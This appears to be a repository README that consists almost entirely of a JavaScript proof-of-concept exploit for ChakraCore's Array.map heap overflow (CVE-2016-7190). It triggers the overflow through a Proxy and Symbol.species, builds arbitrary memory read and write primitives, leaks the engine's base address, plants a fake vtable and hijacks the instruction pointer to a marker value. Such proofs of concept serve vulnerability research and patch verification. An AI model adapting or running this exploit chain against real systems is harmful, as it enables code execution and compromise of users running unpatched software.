README.md
Rendering markdown...
function hex(a) {
if (a == undefined) return "0xUNDEFINED";
var ret = a.toString(16);
if (ret.substr(0,2) != "0x") return "0x"+ret;
else return ret;
}
// based on Long.js by dcodeIO
// https://github.com/dcodeIO/Long.js
// License Apache 2
class _u64 {
constructor(hi, lo) {
this.lo_ = lo;
this.hi_ = hi;
}
hex() {
var hlo = (this.lo_ < 0 ? (0xFFFFFFFF + this.lo_ + 1) : this.lo_).toString(16)
var hhi = (this.hi_ < 0 ? (0xFFFFFFFF + this.hi_ + 1) : this.hi_).toString(16)
if(hlo.substr(0,2) == "0x") hlo = hlo.substr(2,hlo.length);
if(hhi.substr(0,2) == "0x") hhi = hhi.substr(2,hji.length);
hlo = "00000000" + hlo
hlo = hlo.substr(hlo.length-8, hlo.length);
return "0x" + hhi + hlo;
}
isZero() {
return this.hi_ == 0 && this.lo_ == 0;
}
equals(val) {
return this.hi_ == val.hi_ && this.lo_ == val.lo_;
}
and(val) {
return new _u64(this.hi_ & val.hi_, this.lo_ & val.lo_);
}
add(val) {
var a48 = this.hi_ >>> 16;
var a32 = this.hi_ & 0xFFFF;
var a16 = this.lo_ >>> 16;
var a00 = this.lo_ & 0xFFFF;
var b48 = val.hi_ >>> 16;
var b32 = val.hi_ & 0xFFFF;
var b16 = val.lo_ >>> 16;
var b00 = val.lo_ & 0xFFFF;
var c48 = 0, c32 = 0, c16 = 0, c00 = 0;
c00 += a00 + b00;
c16 += c00 >>> 16;
c00 &= 0xFFFF;
c16 += a16 + b16;
c32 += c16 >>> 16;
c16 &= 0xFFFF;
c32 += a32 + b32;
c48 += c32 >>> 16;
c32 &= 0xFFFF;
c48 += a48 + b48;
c48 &= 0xFFFF;
return new _u64((c48 << 16) | c32, (c16 << 16) | c00);
}
addi(h,l) {
return this.add(new _u64(h,l));
}
subi(h,l) {
return this.sub(new _u64(h,l));
}
not() {
return new _u64(~this.hi_, ~this.lo_)
}
neg() {
return this.not().add(new _u64(0,1));
}
sub(val) {
return this.add(val.neg());
};
swap32(val) {
return ((val & 0xFF) << 24) | ((val & 0xFF00) << 8) |
((val >> 8) & 0xFF00) | ((val >> 24) & 0xFF);
}
bswap() {
var lo = swap32(this.lo_);
var hi = swap32(this.hi_);
return new _u64(lo, hi);
};
}
var u64 = function(hi, lo) { return new _u64(hi,lo) };
function main2() {
var n = [];
for (var i = 0; i < 0x10; i++) {
// nice pattern for easy checking with debugger
n.push([i*0x10000 | 1, i*0x10000 | 2, i*0x10000 | 3, i*0x10000 | 4,
i*0x10000 | 5, i*0x10000 | 6, i*0x10000 | 7, i*0x10000 | 8,
i*0x10000 | 9, i*0x10000 | 0x10, i*0x10000 | 0x11, i*0x10000 | 0x12,
i*0x10000 | 0x13, i*0x10000 | 0x14, i*0x10000 | 0x15, i*0x10000 | 0x16,
i*0x10000 | 0x17, i*0x10000 | 0x18, i*0x10000 | 0x19, i*0x10000 | 0x20,
i*0x10000 | 0x21, i*0x10000 | 0x22, i*0x10000 | 0x23]);
}
var c = [new Uint8Array(0x100000), new Uint8Array(0x20), new Uint8Array(0x20),
new Uint8Array(0x20), new Uint8Array(0x20), new Uint8Array(0x20)];
n.push(c);
class fake extends Object {
static get [Symbol.species]() { return function() { return n[5]; }; };
}
var handler = {
get: function(target, name){
if(name == "length"){
return 0x200;
}
if(name == "constructor")
return fake;
if(name == 0) { // leak base addr of NativeIntArray n[6]
return n[6];
}
if(name == 1) { // leak base addr Uint8Array 0x100000
return n[0x10][0];
}
if(name == 17) { // overwrite n[6] JavascriptArray.length
return 0x7FFFFFFF;
}
if(name == 21) { // overwrite len of n[6] SparseArraySegment.length
return 0x7f00000000;
}
if(name == 22) { // overwrite length of n[6] SparseArraySegment.size
return 0x7FFFFFFF;
}
return 0; // never executed
},
// by only returning for some elements true we avoid linear buffer overflow
// -> overwrite only specifc values
has: function(target, name){
//print("has " + name);
if(name == 0 || name == 1 || name == 17 || name == 21|| name == 22) {
return true;
}
return false;
}
};
var y = new Proxy([], handler);
// ----------------------------------------------------------------------------
// Exploit heap overflow to gain arbitrary read/write
//
// - Used vulnerability in Array.map (CVE-2016-7190)
// - More info and PoC:
// - https://technet.microsoft.com/library/security/ms16-119
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=923
// ----------------------------------------------------------------------------
// trigger overflow
var o = Array.prototype.map.apply(y, [function(a){ return a; }]);
print(hex(n[6].length));
w32_rel = function(offset, val) {
n[6][(offset - 0x18)/4] = val;
}
r32_rel = function(offset) {
return n[6][(offset - 0x18)/4];
}
// by overwriting
// - JavascriptArray.length
// - SparseArraySegment.length
// - SparseArraySegment.size
// we can use the native JS array for oob access
// DEBUG
// print(hex(n[5][1]) + " " + hex(n[5][0]));
// print(hex(n[5][3]) + " " + hex(n[5][2]));
var uint8_base_addr = u64(n[5][3], n[5][2]);
var uint8_base_offset = n[5][2]- (n[5][0] + 0x40);
print("[+] Uint8Array addr: " + hex(uint8_base_addr.hex()));
// print("Uint8Array offset>> : " + hex(uint8_base_offset));
// print("Uint8Array length>> " + hex(r32_rel(uint8_base_offset +0x20)));
w32_rel(uint8_base_offset +0x20, 0x4141);
// print("n[0x10][0].length " + n[0x10][0].length);
// print("Uint8Array length>> " + hex(r32_rel(uint8_base_offset +0x20)));
// get non clamped vtable
var vtable_low_addr = r32_rel(uint8_base_offset +0x40);
w32_rel(uint8_base_offset, vtable_low_addr);
//print("Uint8Array length2>> " + hex(r32_rel(uint8_base_offset +0x28)));
//print("Uint8Array length3>> " + hex(r32_rel(uint8_base_offset +0x2C)));
var uint8_buf_addr = u64(r32_rel(uint8_base_offset + 0x3C), r32_rel(uint8_base_offset + 0x38))
print("[+] Uint8Array buf addr: " + uint8_buf_addr.hex());
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Define functions that read/write various data widths from/to memory
//
// ----------------------------------------------------------------------------
// define functions to read and write arbitrary memory
var set_buffer_addr = function(u64_addr) {
w32_rel(uint8_base_offset +0x38, u64_addr.lo_);
w32_rel(uint8_base_offset +0x3C, u64_addr.hi_);
}
var r8 = function(u64_addr) {
set_buffer_addr(u64_addr);
return n[0x10][0][0];
};
var r16 = function(u64_addr) {
set_buffer_addr(u64_addr);
return n[0x10][0][1] << 8 | n[0x10][0][0];
};
var r32 = function(u64_addr) {
set_buffer_addr(u64_addr);
return n[0x10][0][3] << 24 | n[0x10][0][2] << 16 |
n[0x10][0][1] << 8 | n[0x10][0][0];
};
var r64 = function(u64_addr) {
set_buffer_addr(u64_addr);
return u64(n[0x10][0][7] << 24 | n[0x10][0][6] << 16 |
n[0x10][0][5] << 8 | n[0x10][0][4] << 32,
n[0x10][0][3] << 24 | n[0x10][0][2] << 16 |
n[0x10][0][1] << 8 | n[0x10][0][0]);
};
var w8 = function(u64_addr, u8_val) {
set_buffer_addr(u64_addr);
n[0x10][0][0] = u8_val & 0xFF;
}
var w32 = function(u64_addr, u32_val) {
set_buffer_addr(u64_addr);
n[0x10][0][0] = (u32_val >> 0) & 0xFF;
n[0x10][0][1] = (u32_val >> 8) & 0xFF;
n[0x10][0][2] = (u32_val >> 16) & 0xFF;
n[0x10][0][3] = (u32_val >> 24) & 0xFF;
}
var w64 = function(u64_addr, u64_val) {
set_buffer_addr(u64_addr);
n[0x10][0][0] = (u64_val.lo_ >> 0) & 0xFF;
n[0x10][0][1] = (u64_val.lo_ >> 8) & 0xFF;
n[0x10][0][2] = (u64_val.lo_ >> 16) & 0xFF;
n[0x10][0][3] = (u64_val.lo_ >> 24) & 0xFF;
n[0x10][0][4] = (u64_val.hi_ >> 0) & 0xFF;
n[0x10][0][5] = (u64_val.hi_ >> 8) & 0xFF;
n[0x10][0][6] = (u64_val.hi_ >> 16) & 0xFF;
n[0x10][0][7] = (u64_val.hi_ >> 24) & 0xFF;
}
// These offset highly depend on the version of Chakra(Core)/Windows
uint8_vtable_addr = r64(uint8_base_addr);
print("[+] uint8Array vtable: " + uint8_vtable_addr.hex());
uint8_vtable_addr = r64(uint8_base_addr);
var chakra_base_addr = r64(uint8_base_addr).subi(0,0x5726f0); // read vtable function
print("[+] ChakraCore base addr: " + chakra_base_addr.hex());
// fake vtable
w64(uint8_buf_addr.addi(0,0x130), u64(0x41414141,0x41414141));
// overwrite vtable
w64(uint8_base_addr.addi(0,0x80) , uint8_buf_addr);
// trigger call
print("[+] hijacking RIP (will crash application, run in debugger to see the 41414141...)");
print(c[2][0]);
// shouldn't be reached
return 0;
}
print(main2());